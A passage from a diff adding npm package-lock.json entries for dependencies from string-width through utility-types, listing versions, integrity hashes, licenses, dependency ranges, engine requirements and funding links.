"sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "6.2.2", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "7.2.0", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/stringify-entities": { + "version": "4.0.4", + "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", + "license": "MIT", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "license": "BSD-2-Clause", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom-string": { + "version": "1.0.0", + "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-to-js": { + "version": "1.1.21", + "integrity": "sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ==", + "license": "MIT", + "dependencies": { + "style-to-object": "1.0.14" + } + }, + "node_modules/style-to-object": { + "version": "1.0.14", + "integrity": "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw==", + "license": "MIT", + "dependencies": { + "inline-style-parser": "0.2.7" + } + }, + "node_modules/stylehacks": { + "version": "6.1.1", + "integrity": "sha512-gSTTEQ670cJNoaeIp9KX6lZmm8LJ3jPB5yJmX8Zq/wQxOsAFXV3qjWzHas3YYk1qesuVIyYWWUpZ0vSE/dTSGg==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "postcss-selector-parser": "^6.0.16" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-parser": { + "version": "2.0.4", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==", + "license": "MIT" + }, + "node_modules/svgo": { + "version": "3.3.4", + "integrity": "sha512-GsNRis4e8jxn2Y9ENz/8lbJ93CstG8svtMnuRaHbiF2LTJ5tK0/q3t/URPq9Zc7zVWBJnNnJMIp6bevK7bSmNg==", + "license": "MIT", + "dependencies": { + "commander": "^7.2.0", + "css-select": "^5.1.0", + "css-tree": "^2.3.1", + "css-what": "^6.1.0", + "csso": "^5.0.5", + "picocolors": "^1.0.0", + "sax": "^1.5.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/svgo" + } + }, + "node_modules/svgo/node_modules/commander": { + "version": "7.2.0", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/tapable": { + "version": "2.3.3", + "integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==", + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/terser": { + "version": "5.49.0", + "integrity": "sha512-SNiDnXyHSrxVcIOtVbULzcTmniUiwcV7Nwdyj1twVubeTmbjoa8p69KKDpfkdoOavuM4/GRm1+ykI8qqnavHoA==", + "license": "BSD-2-Clause", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.15.0", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.6.1", + "integrity": "sha512-201R5j+sJpK8nFWwKVyNfZot8FaJbLZDq5evriVzbV1wDtSXDjRUDRfJzHpAaxFDMEhsZL1QkeqM61wgsS3KaQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.25", + "jest-worker": "^27.4.5", + "schema-utils": "^4.3.0", + "terser": "^5.31.1" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@minify-html/node": { + "optional": true + }, + "@swc/core": { + "optional": true + }, + "@swc/css": { + "optional": true + }, + "@swc/html": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "cssnano": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "html-minifier-terser": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "postcss": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/jest-worker": { + "version": "27.5.1", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "license": "MIT" + }, + "node_modules/thingies": { + "version": "2.6.0", + "integrity": "sha512-rMHRjmlFLM1R96UYPvpmnc3LYtdFrT33JIB7L9hetGue1qAPfn1N2LJeEjxUSidu1Iku+haLZXDuEXUHNGO/lg==", + "license": "MIT", + "engines": { + "node": ">=10.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "^2" + } + }, + "node_modules/thunky": { + "version": "1.1.0", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "license": "MIT" + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==", + "license": "MIT" + }, + "node_modules/tinypool": { + "version": "1.1.1", + "integrity": "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==", + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/totalist": { + "version": "3.0.1", + "integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/tree-dump": { + "version": "1.1.0", + "integrity": "sha512-rMuvhU4MCDbcbnleZTFezWsaZXRFemSqAM+7jPnzUl1fo9w3YEKOxAeui0fz3OI4EU4hf23iyA7uQRVko+UaBA==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/streamich" + }, + "peerDependencies": { + "tslib": "2" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/trough": { + "version": "2.2.0", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/tsyringe": { + "version": "4.10.0", + "integrity": "sha512-axr3IdNuVIxnaK5XGEUFTu3YmAQ6lllgrvqfEoR16g/HGnYY/6We4oWENtAnzK6/LpJ2ur9PAb80RBt7/U4ugw==", + "license": "MIT", + "dependencies": { + "tslib": "^1.9.3" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/tsyringe/node_modules/tslib": { + "version": "1.14.1", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "license": "0BSD" + }, + "node_modules/type-fest": { + "version": "2.19.0", + "integrity": "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "license": "MIT", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/type-is/node_modules/mime-db": { + "version": "1.52.0", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/type-is/node_modules/mime-types": { + "version": "2.1.35", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "license": "MIT", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/undici-types": { + "version": "8.3.0", + "integrity": "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ==", + "license": "MIT" + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.1", + "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-emoji-modifier-base": { + "version": "1.0.0", + "integrity": "sha512-yLSH4py7oFH3oG/9K+XWrz1pSi3dfUrWEnInbxMfArOfc1+33BlGPQtLsOYwvdMy11AwUBetYuaRxSPqgkq+8g==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "license": "MIT", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.2.1", + "integrity": "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.2.0", + "integrity": "sha512-hpbDzxUY9BFwX+UeBnxv3Sh1q7HFxj48DTmXchNgRa46lO8uj3/1iEn3MiNUYTg1g9ctIqXCCERn8gYZhHC5lQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unified": { + "version": "11.0.5", + "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "bail": "^2.0.0", + "devlop": "^1.0.0", + "extend": "^3.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unique-string": { + "version": "3.0.0", + "integrity": "sha512-VGXBUVwxKMBUznyffQweQABPRRW1vHZAbadFZud4pLFAqRGvv/96vafgjWFqzourzr8YonlQiPgH0YCJfawoGQ==", + "license": "MIT", + "dependencies": { + "crypto-random-string": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unist-util-find-after": { + "version": "5.0.0", + "integrity": "sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "6.0.1", + "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position": { + "version": "5.0.0", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position-from-estree": { + "version": "2.0.0", + "integrity": "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-remove-position": { + "version": "5.0.0", + "integrity": "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-visit": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "5.1.0", + "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.2", + "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/update-notifier": { + "version": "6.0.2", + "integrity": "sha512-EDxhTEVPZZRLWYcJ4ZXjGFN0oP7qYvbXWzEgRm/Yql4dHX5wDbvh89YHP6PK1lzZJYrMtXUuZZz8XGK+U6U1og==", + "license": "BSD-2-Clause", + "dependencies": { + "boxen": "^7.0.0", + "chalk": "^5.0.1", + "configstore": "^6.0.0", + "has-yarn": "^3.0.0", + "import-lazy": "^4.0.0", + "is-ci": "^3.0.1", + "is-installed-globally": "^0.4.0", + "is-npm": "^6.0.0", + "is-yarn-global": "^0.4.0", + "latest-version": "^7.0.0", + "pupa": "^3.1.0", + "semver": "^7.3.7", + "semver-diff": "^4.0.0", + "xdg-basedir": "^5.1.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/yeoman/update-notifier?sponsor=1" + } + }, + "node_modules/update-notifier/node_modules/boxen": { + "version": "7.1.1", + "integrity": "sha512-2hCgjEmP8YLWQ130n2FerGv7rYpfBmnmp9Uy2Le1vge6X3gZIfSmEzP5QTDElFxcvVcXlEn8Aq6MU/PZygIOog==", + "license": "MIT", + "dependencies": { + "ansi-align": "^3.0.1", + "camelcase": "^7.0.1", + "chalk": "^5.2.0", + "cli-boxes": "^3.0.0", + "string-width": "^5.1.2", + "type-fest": "^2.13.0", + "widest-line": "^4.0.1", + "wrap-ansi": "^8.1.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/update-notifier/node_modules/camelcase": { + "version": "7.0.1", + "integrity": "sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw==", + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/update-notifier/node_modules/chalk": { + "version": "5.6.2", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-loader": { + "version": "4.1.1", + "integrity": "sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA==", + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "mime-types": "^2.1.27", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "file-loader": "*", + "webpack": "^4.0.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "file-loader": { + "optional": true + } + } + }, + "node_modules/url-loader/node_modules/ajv": { + "version": "6.14.0", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/url-loader/node_modules/ajv-keywords": { + "version": "3.5.2", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "license": "MIT", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/url-loader/node_modules/json-schema-traverse": { + "version": "0.4.1", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "license": "MIT" + }, + "node_modules/url-loader/node_modules/mime-db": { + "version": "1.52.0", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/url-loader/node_modules/mime-types": { + "version": "2.1.35", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/url-loader/node_modules/schema-utils": { + "version": "3.3.0", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/utila": { + "version": "0.4.0", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==", + "license": "MIT" + }, + "node_modules/utility-types": { + "version": "3.11.0", + "integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + 